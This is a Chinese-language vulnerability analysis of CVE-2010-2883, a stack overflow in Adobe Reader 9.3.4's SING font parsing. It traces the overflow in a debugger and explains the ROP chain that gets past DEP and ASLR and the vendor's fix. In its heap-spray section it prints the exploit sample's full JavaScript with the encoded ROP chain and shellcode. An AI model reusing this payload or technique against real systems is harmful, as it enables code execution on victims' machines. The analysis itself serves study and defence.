Adobe Reader栈溢出漏洞(CVE-2010-2883)分析
文章目錄
- 漏洞描述
- 測(cè)試環(huán)境
- 靜態(tài)分析
- 定位觸發(fā)點(diǎn)
- 分析漏洞成因
- 動(dòng)態(tài)調(diào)試
- 獲取SING表的入口地址
- 溢出點(diǎn)
- 精心挑選的返回地址
- JavaScript實(shí)現(xiàn)HeapSpray
- 利用ROP鏈繞過DEP保護(hù)
- 漏洞利用流程總結(jié)
- 漏洞修復(fù)
- 參考資料
這個(gè)漏洞是《漏洞戰(zhàn)爭》里面的第一個(gè)漏洞,也是我分析的第一個(gè)漏洞。水平有限,如有錯(cuò)誤還望各位大佬指正。
漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll庫在解析字體文件SING表中的uniqueName項(xiàng)時(shí)存在的棧溢出漏洞,用戶受騙打開了特制的PDF就有可能導(dǎo)致執(zhí)行任意惡意代碼
測(cè)試環(huán)境
| 操作系統(tǒng) | Windows XP SP3 |
| 虛擬機(jī) | VMware |
| 調(diào)試器 | OD IDA |
| 漏洞軟件 | Adobe Reader9.3.4 |
靜態(tài)分析
定位觸發(fā)點(diǎn)
用IDA反匯編CoolType.dll庫,查看字符串可發(fā)現(xiàn)SING字體
分析漏洞成因
直接定位進(jìn)去即可查看該庫對(duì)sing表格的解析方式,主要是strcat造成的溢出漏洞
可以注意到在地址0x0803DDAB處調(diào)用了strcat函數(shù),先來看下strcat函數(shù)原型
char *strcat(char *dest, const char *src);strcat會(huì)將參數(shù)src字符串復(fù)制到參數(shù)dest所指的字符串尾部,dest最后的結(jié)束字符NULL會(huì)被覆蓋掉,并在連接后的字符串尾部再增加一個(gè)NULL
漏洞成因就是沒有去驗(yàn)證src的長度是否可能會(huì)超出dest數(shù)組定義的長度。如果我們有可能超出dest數(shù)組定義的長度的數(shù)據(jù)放入src中有可能在后方調(diào)用strcat函數(shù)時(shí)覆蓋棧區(qū)從而實(shí)現(xiàn)代碼執(zhí)行
動(dòng)態(tài)調(diào)試
在復(fù)現(xiàn)環(huán)境中把Adobe Reader 9.3.4啟動(dòng)程序載入OD,加載之后按F9運(yùn)行。此時(shí)OD顯示當(dāng)前調(diào)試程序是運(yùn)行狀態(tài),實(shí)際上這個(gè)時(shí)候Adobe Reader就已經(jīng)加載了CoolType.dll文件了。
通過剛剛的靜態(tài)分析我們了解到SING在地址0x0803DD74處被引用,因此我們可以在OD中在這個(gè)地址處下一個(gè)斷點(diǎn)
獲取SING表的入口地址
Ctrl+G輸入0x0803DD74回車跳轉(zhuǎn)到該地址F2下斷點(diǎn)
將樣本(名企面試自助手冊(cè).pdf)拖入Adobe Reader中,程序就會(huì)停在剛才下的斷點(diǎn)上面
F7單步到下面的地址
此時(shí)ecx指向0x12E404,《漏洞戰(zhàn)爭》對(duì)這條指令的解釋是這里是SING表的表的入口,我們來驗(yàn)證一下,數(shù)據(jù)窗口跟隨看看這個(gè)指針里面存放的是什么
在分析這段數(shù)據(jù)之前我們先來看看TrueType字體格式標(biāo)準(zhǔn)文檔里
在TrueType字體文件中,從0字節(jié)偏移的位置開始有一個(gè)表目錄。且這個(gè)表目錄的第一個(gè)字段是名為sfnt version是用來表明所用ttf格式版本的字段。在文檔中清楚的說明了,對(duì)于1.0版本的TTF字體文件開頭要用0x00010000來表示版本。
現(xiàn)在回到0x2AEB710位置處的數(shù)據(jù),
會(huì)發(fā)現(xiàn)開頭正好是0x00010000,這就證明了ecx保存的確實(shí)是SING表的指針
繼續(xù)動(dòng)態(tài)調(diào)試,接下來遇到一個(gè)call指令,不妨來看看這個(gè)函數(shù)傳入了哪些參數(shù)
很明顯它將SING字符串當(dāng)作參數(shù)了,這個(gè)call實(shí)際上是在處理SING表,這里我們直接F8步過,繼續(xù)單步
此時(shí)eax為0x46949,要想知道這塊數(shù)據(jù)是什么,首先用pdfStreamDumper取出PDF樣本中的TTF文件。TTF中關(guān)于SING表的TableEntry結(jié)構(gòu)數(shù)據(jù),如圖所示
下面是官方文檔中對(duì)TableEntry結(jié)構(gòu)的定義
typedef struct_SING {char tag[4] //標(biāo)記->SINGULONG checkSum //校驗(yàn)和->0xD9BCCBB5ULONG offset //相對(duì)文件的偏移->011CULONG length //數(shù)據(jù)長度->0x1DDF }通過觀察SING表中的結(jié)構(gòu)我們可以知道在文件偏移0x11C處即是SING表的真實(shí)數(shù)據(jù),Ctrl+G去到0x11C處,發(fā)現(xiàn)和eax所指向的0x46949是一致的,如圖:
通過確認(rèn)這個(gè)eax所指向的內(nèi)容我們可以推測(cè)出上面那個(gè)call的作用是取出SING表的入口地址
接著比較eax和esi的值,檢測(cè)SING表是否為空
下面的je因?yàn)镾ING表不為空,所以不會(huì)跳轉(zhuǎn)
然后這里取出eax的內(nèi)容賦給ecx,通過剛才的分析我們知道此時(shí)的ecx保存的是ttf的版本號(hào),繼續(xù)往下
然后清掉低4位,結(jié)果為零,je跳轉(zhuǎn),繼續(xù)往下
接著將eax加上0x10,eax原來指向SING表,SING表加上0x10處指向的是unique域,在010Editor處如圖:
溢出點(diǎn)
繼續(xù)單步就能發(fā)現(xiàn)溢出點(diǎn)
這里將uniqueName域和當(dāng)前的ebp入棧,然后調(diào)用strcat進(jìn)行字符串拼接,但是沒有進(jìn)行安全檢查,導(dǎo)致溢出,我們單步步過strcat后查看一下ebp開始的棧區(qū)數(shù)據(jù)
此時(shí)棧溢出已經(jīng)發(fā)生,函數(shù)的返回地址已經(jīng)被覆蓋為SING表中的惡意數(shù)據(jù),在010Editor中如圖
精心挑選的返回地址
這個(gè)地址位于icucnv32.dll中,讓我們來看看這個(gè)地址有和特別之處,為什么會(huì)選擇這樣一個(gè)地址,用010打開icucnv32.dll
我們發(fā)現(xiàn)IMAGE_OPTIONAL_HEADER中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 的值為0,也就是說這個(gè)模塊沒有開啟ASLR,這就保證了exploit的穩(wěn)定性
繼續(xù)往下分析,執(zhí)行到0x0808B308時(shí),eax的值指向0x4A80CB38,這個(gè)地址也是在icucnv32.dll中,我們F7跟進(jìn)去,
這個(gè)地址是精心挑選的ROP指令,首先調(diào)整了ebp,調(diào)整之后ebp為0012E4DC
也就是將ebp調(diào)整到strcat函數(shù)調(diào)用后的棧區(qū)數(shù)據(jù)范圍內(nèi),接下來執(zhí)行l(wèi)eave,修改了esp
最后retn會(huì)跳轉(zhuǎn)到0x4A82A714地址處,繼續(xù)F7單步
pop esp之后,esp將被修改為0x0C0C0C0C,然后返回,此時(shí)棧的情況如圖:
JavaScript實(shí)現(xiàn)HeapSpray
上面的0x0C0C0C0C是樣本特意構(gòu)造的,自然是為了實(shí)現(xiàn) HeapSpary堆噴射技術(shù),借助PDF本身支持執(zhí)行JS的特性,將ShellCode借助JS寫入內(nèi)存中。棧中的數(shù)據(jù)即是JS代碼中的ShellCode,作者利用它來實(shí)現(xiàn)ROP以繞過DEP保護(hù)。
這里借助PDFStreamDumper工具提取樣本中這段實(shí)現(xiàn)堆噴射的JS代碼
var var_shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' ); var var_c = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c; var_b = var_c.substring(0, (0x0c0c-0x24)/2); var_b += var_shellcode; var_b += var_c; var_d = var_b.substring(0, 0x10000/2); while(var_d.length < 0x80000) var_d += var_d; var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2); var var_4 = new Array(); for (var_i=0;var_i<0x1f0;var_i++) var_4[var_i]=var_3+"s";所有的ShellCode都被轉(zhuǎn)化為了十六進(jìn)制的轉(zhuǎn)義序列,經(jīng)過unescape解碼之后存儲(chǔ)在var_shellcode之中,var_c變量存儲(chǔ)了%u0c0c%u0c0c,接下來用了一個(gè)while循環(huán)疊加var_c,用來覆蓋內(nèi)存的數(shù)據(jù)。
采用0x0c0c0c0c作為滑板指令的原因是因?yàn)樗鼘?duì)應(yīng)的指令是or al,0x0C,這樣的指令執(zhí)行的效果對(duì)al寄存器不會(huì)產(chǎn)生任何影響
接下來的var_b保存了前面是所有滑板指令以及ShellCode,最關(guān)鍵的實(shí)現(xiàn)堆噴射的語句是new Array(),利用數(shù)據(jù)來開辟內(nèi)存區(qū)域,然后通過填充數(shù)據(jù)的方式來噴射ShellCode
利用ROP鏈繞過DEP保護(hù)
繼續(xù)調(diào)試
這里ecx =0x4A8A0000 [ecx] = “UTF-32”,然后返回
這里借原本存“UTF-32”字符串的地方保存eax的值,然后再次返回
這里eax指向了CreateFileA
然后返回去跳轉(zhuǎn)執(zhí)行CreateFileA,我們直接查看CreateFileA在棧區(qū)的參數(shù)
這里以隱藏的方式創(chuàng)建了一個(gè)臨時(shí)文件,文件名為iso88591,可以在當(dāng)前樣本的同路徑下找到,我們直接按Ctrl+F9返回
這里會(huì)跳轉(zhuǎn)到0x4A8063A5
然后將ecx賦值為4A801064,接著跳轉(zhuǎn)到0x4A842DB2
這里交換eax和edi寄存器的值,接著跳轉(zhuǎn)到0x4A802AB1,繼續(xù)單步
此時(shí)ebx為0x8,跳轉(zhuǎn)到0x4A80A8A6
這里指向了一個(gè)函數(shù)的實(shí)現(xiàn)模塊
接著用相同的方法調(diào)用CreateFileMappingA,創(chuàng)建文件映射對(duì)象,再來查看一下堆棧中的參數(shù)
直接Ctrl+F9返回,然后去執(zhí)行MapViewOfFile,將一個(gè)文件映射對(duì)象映射到當(dāng)前程序的地址空間
參數(shù)如下
然后用類似的方法去調(diào)用memcpy
參數(shù)如下
這里將要執(zhí)行的ShellCode寫入到MapViewOfFile返回的地址,因?yàn)檫@段內(nèi)存是可讀可寫的,所以就繞過了DEP的保護(hù)由于構(gòu)造的ROP鏈指令均位于不受ASLR保護(hù)的icucnv32.dll模塊,因此也繞過了ASLR。
接著去執(zhí)行ShellCode
至于ShellCode本身干了什么,這個(gè)不是我們關(guān)心的重點(diǎn)
漏洞利用流程總結(jié)
漏洞流程總結(jié)如圖所示
漏洞修復(fù)
下載AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置
這里不再是調(diào)用strcat,而是 sub_813391E,跟進(jìn)去看看sub_813391E
該函數(shù)獲取了字段的長度,判斷是否超出限制。如果超出限制就用strncat限制了拷貝的字節(jié)數(shù)從而修復(fù)了該漏洞
參考資料
《漏洞戰(zhàn)爭》
細(xì)說CVE-2010-2883從原理分析到樣本構(gòu)造
總結(jié)
以上是生活随笔為你收集整理的Adobe Reader栈溢出漏洞(CVE-2010-2883)分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 160个Crackme045
- 下一篇: 160个Crackme047